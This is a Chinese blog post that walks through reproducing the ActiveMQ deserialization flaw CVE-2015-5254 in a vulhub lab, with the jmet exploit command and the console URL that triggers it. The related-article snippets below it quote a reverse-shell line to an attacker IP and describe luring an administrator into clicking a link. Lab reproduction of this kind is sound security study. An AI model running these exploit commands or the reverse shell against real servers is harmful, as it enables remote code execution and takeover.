ActiveMQ 反序列化漏洞 （CVE-2015-5254）漏洞复现

最新推荐文章于 2024-09-13 22:24:29 发布
最新推荐文章于 2024-09-13 22:24:29 发布
阅读量594 收藏
点赞数
文章标签： activemq 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/chenming08/article/details/130391100
版权

当前漏洞环境部署在vulhub,当前验证环境为vulhub靶场（所有实验均为虚拟环境）
实验环境：攻击机----kali
靶机：centos7
需要的jar包：jmet-0.1.0-all.jar
1、启动docker，进入vulhub（靶机）
在这里插入图片描述
2、进入CVE-2015-5254环境（靶机）
在这里插入图片描述
3、启动环境（靶机）
在这里插入图片描述
4、查看进程（靶机）
在这里插入图片描述
5、下载jmet-0.1.0-all.jar（时间较长）：https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar（攻击机）
在这里插入图片描述
6、执行java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “touch /tmp/sucess” -Yp ROME 你的IP 61616（攻击机）
在这里插入图片描述在这里插入图片描述
7、访问控制台：http://你的IP:8161/admin/browse.jsp?JMSDestination=event
触发
在这里插入图片描述
8、进入容器，docker exec -it cve-2015-5254_activemq_1 /bin/bash（靶机）
success 已成功创建，表明漏洞利用成功：
在这里插入图片描述

千其昂cm
关注
【漏洞复现】ActiveMQ反序列化漏洞(CVE-2015-5254)
晚风不及你
01-05 657
Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件。ActiveMQ是消息队列服务，是面向消息中间件（MOM）的最终实现，它为企业消息传递提供高可用、出色性能、可扩展、稳定和安全保障。
【漏洞复现】---- ActiveMQ 反序列化漏洞（CVE-2015-5254）
qq_43168364的博客
09-04 725
一、简介 Apache ActiveMQ是老外所研发的一套开源的消息中间件，它支持Java消息服务、集群、Spring Framework等。该漏洞源于程序没有限制可在代理中序列化的类。攻击者可以借助特制的序列化的java消息服务(JMS)ObjectMessage对象利用该漏洞执行恶意代码。 漏洞影响的版本为：Apache ActiveMQ 5.13.0之前的版本。 二、漏洞环境准备 pull下来内容 环境运行后，将监听61616和8161两个端口。其中61616是工作端口，消息在这个端口进行传递
CVE-2015-5254(ActiveMQ反序列化漏洞复现)
Sea_Sand息禅
07-13 2947
Apache ActiveMQ是美国阿帕奇（Apache）软件基金会所研发的一套开源的消息中间件，它支持Java消息服务、集群、Spring Framework等。由于ActiveMQ是一个纯Java程序，因此只需要操作系统支持Java虚拟机，ActiveMQ便可执行。 Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞，该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者...
ActiveMQ反序列化漏洞CVE-2015-5254复现
Cwillchris的博客
03-31 7799
准备两个linux虚拟机，一个为目标机(，以下简称A，ip:192.168.98.30)，一个为攻击机（以下简称B，ip:192.168.98.70） 先搭建靶场，打开A，教程在这里vulhub靶场搭建及漏洞复现教程_Cwillchris的博客-CSDN博客 服务器A的生产端口（即用户可访问端口）为61616，管理端端口（后台）为8161 打开A 1、进入该漏洞环境所在目录 cd /root/desktop/vulhub/activemq/CVE-2015-5254 2、启动docker
JMET 项目安装和配置指南
最新发布
gitblog_09520的博客
09-13 328
JMET 项目安装和配置指南 jmet Java Message Exploitation Tool 项目地址: https://gitcode.com/gh_mirrors/jm/jmet ...
ActiveMQ 反序列化漏洞 (CVE-2015-5254) 漏洞复现
wswr的博客
03-04 1233
前提环境（我是照着这个师傅来的）：kali下搭建Vulhub靶场（详细附图）_看我的眼色行事的博客-CSDN博客_kali搭建靶场 原理：Apache ActiveMQ 5.x 5.13.0 之前的安全漏洞，程序造成的漏洞不限制代理中可以序列化的类。远程攻击者可以使一个特殊的序列化 Java 消息服务 (JMS) ObjectMessage 对象利用此漏洞执行任意代码。 Active MQ 理解成一种apache上的服务，作用的是提供程序通信的服务。那么我的感觉就是这个漏洞可以理解成，这个代理服务在帮忙
ActiveMQ 反序列化漏洞 (CVE-2015-5254)复现
qq_45314073的博客
09-16 1518
ActiveMQ 反序列化漏洞
ActiveMQ 反序列化漏洞(CVE-2015-5254)复现
baidu_38844729的博客
01-22 565
前言 Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞，该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码 步骤 搭建环境：docker+vulhub 1.下载jmet的jar文件，并在同目录下创建一个external文件夹 链接：https://g...
ActiveMQ 反序列化漏洞（CVE-2015-5254）利用工具
08-15
在2015年，ActiveMQ被发现存在一个严重的安全漏洞，被称为CVE-2015-5254，这是一个反序列化漏洞，允许攻击者通过精心构造的恶意消息来执行任意代码，从而对目标系统造成重大威胁。 反序列化漏洞通常发生在对象从...
ActiveMQ 反序列化漏洞 (CVE-2015-5254)
qq_32642035的博客
10-17 1261
ActiveMQ 反序列化漏洞 (CVE-2015-5254)漏洞复现
ActiveMQ反序列化漏洞（CVE-2015-5254）复现
qq_40708881的博客
12-10 364
ActiveMQ反序列化漏洞（CVE-2015-5254）复现 导语 Apache ActiveMQ是美国阿帕奇（Apache）软件基金会所研发的一套开源的消息中间件，它支持Java消息服务、集群、Spring Framework等。 Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞，该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。 漏洞环境 git
Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现
WY92139010的博客
08-06 448
Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现 一、漏洞描述 该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。 二、漏洞影响版本 Apache ActiveMQ 5.13.0之前的版本 三、漏洞环境搭建 1、官网下载ActiveMQ 5.11....
ActiveMQ反序列化漏洞 getshell（CVE-2015-5254）——漏洞复现
W小哥
11-10 3786
一、ActiveMQ介绍 1.1 简介 Apache的一款JAVA开源消息中间件，支持Java消息服务、集群、SpringFrameword等。属于消息队列组件。 （消息队列组件：分布式系统中的重要组件，主要解决应用耦合、异步消息、流量削峰等） 1.2 漏洞影响版本 Apache ActiveMQ < 5.13.0 之前 5.x版本 1.3 漏洞成因 漏洞没有限制在代理中序列化的类，远程攻击者可以借助特制的序列化的Java消息服务（JMS）ObjectMessage对象利用该漏洞执行恶意代码。 1.
CVE-2015-5254（ActiveMQ 反序列化漏洞）复现
p_utao的博客
03-19 456
漏洞介绍 Apache ActiveMQ是美国阿帕奇（Apache）软件基金会所研发的一套开源的消息中间件，它支持Java消息服务，集群，Spring Framework等。Apache ActiveMQ5.13.0之前5.x版本中存在安全漏洞，该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务（JMS）ObjectMessage对象利用该漏洞执行任意代码。 漏洞复现 http://10.7.10.41:8161/admin 默认账号密码：admin 登陆成功
【vulhub漏洞复现】CVE-2015-5254 ActiveMQ反序列化漏洞
RexHa的博客
02-26 2029
Apache ActiveMQ是美国阿帕奇（Apache）软件基金会所研发的一套开源的消息中间件，它支持Java消息服务，集群，Spring Framework等。该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务（JMS）ObjectMessage对象利用该漏洞执行任意代码。
CVE-2015-5254复现学习
shierbai的博客
05-18 592
使用[jmet](https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar)进行漏洞利用。影响版本：Apache ActiveMQ 5.13.0之前5.x版本，https://www.cvedetails.com/cve/CVE-2015-5254/实际环境下，需要诱导管理员点击我们构造的url去做访问，触发反弹条件。bash -i>/dev/tcp/攻击机ip/1234（监听端口） 0>&1。
【vulhub漏洞复现】ActiveMQ 反序列化漏洞 (CVE-2015-5254)-01
书山上的云的博客
01-10 3338
一、漏洞描述 Apache ActiveMQ 是由美国阿帕奇（Apache）软件基金会开发的开源消息中间件，支持 Java 消息服务、集群、Spring 框架等。属于消息队列组件(消息队列组件：分布式系统中的重要组件，主要解决应用耦合、异步消息、流量削峰等)。 二、漏洞成因 Apache ActiveMQ 5.13.0版本之前到5.x版本的安全漏洞，该程序引起的漏洞不限制代理中可以序列化的类。远程攻击者可以制作一个特殊的序列化 Java 消息服务 (JMS) ObjectMessage 对象，利用该漏洞执行
ActiveMQ CVE-2015-5254 分析
示例和笔记
06-07 353
ActiveMQ CVE-2015-5254 该漏洞是由于缺少对序列化数据的校验而导致，攻击者可以在序列化的数据中注入恶意代码。当 ActiveMQ 接收到该序列化数据并尝试反序列化时，将会执行这段恶意代码，从而实现攻击目的。具体来说，该漏洞的发生是由于 ActiveMQ 的两个缺陷导致。首先是方法中的缺陷，该方法将异常对象序列化为字节数组，这个字节数组包含了cause内的异常和message内的信息。攻击者可以构造精心设计的cause和message来注入恶意代码。接着，ActiveMQ 的与。
CVE-2015-5254漏洞复现
2201_75761617的博客
08-19 367
Apache ActiveMQ 是美国阿帕奇（Apache）软件基金会所研发的一套开源的消息中间件，它支持 Java 消息服务，集群，Spring Framework 等。值得注意的是，通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下，我们可以诱导管理员访问我们的链接以触发，或者伪装成其他合法服务需要的消息，等待客户端访问的时候触发。至此，一个权限为root，密码为123456的用户被我们创建成功，之后可以直接进行ssh远程连接。（1）访问web界面并进行登录。
ActiveMQ 反序列化漏洞
08-19
ActiveMQ 反序列化漏洞是指在使用 ActiveMQ 进行消息传递时，由于未正确验证和过滤用户提交的数据，恶意攻击者可以利用该漏洞在目标系统上执行任意代码。这种漏洞通常是由于未正确配置 ActiveMQ 的序列化和反序列化机制造成的。 攻击者可以构造恶意序列化对象，然后将其发送给 ActiveMQ 服务器。当服务器接收到恶意序列化对象并进行反序列化时，恶意代码就会被执行，从而导致系统受到攻击。 为了防止 ActiveMQ 反序列化漏洞的利用，可以采取以下措施： 1. 更新和升级：及时更新 ActiveMQ 版本，以获取最新的安全修复和漏洞修复。 2. 配置安全策略：通过配置 ActiveMQ 的安全策略来限制用户对序列化和反序列化的访问权限，只允许信任的类进行反序列化操作。 3. 输入验证和过滤：在接收到消息之前，对用户提交的数据进行严格的输入验证和过滤，确保只接受合法和可信的数据。 4. 序列化过滤：实施白名单机制，只允许特定的类进行反序列化操作，阻止未知类的反序列化。 5. 安全意识培训：加强对开发人员和系统管理员的安全意识培训，提高他们对反序列化漏洞的认识，以及如何正确地使用 ActiveMQ。 请注意，这些建议只是一些通用的防御措施，具体的安全配置和防护措施需要根据实际情况进行调整和实施。建议在使用 ActiveMQ 或其他中间件时，密切关注厂商的安全公告和最佳实践。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值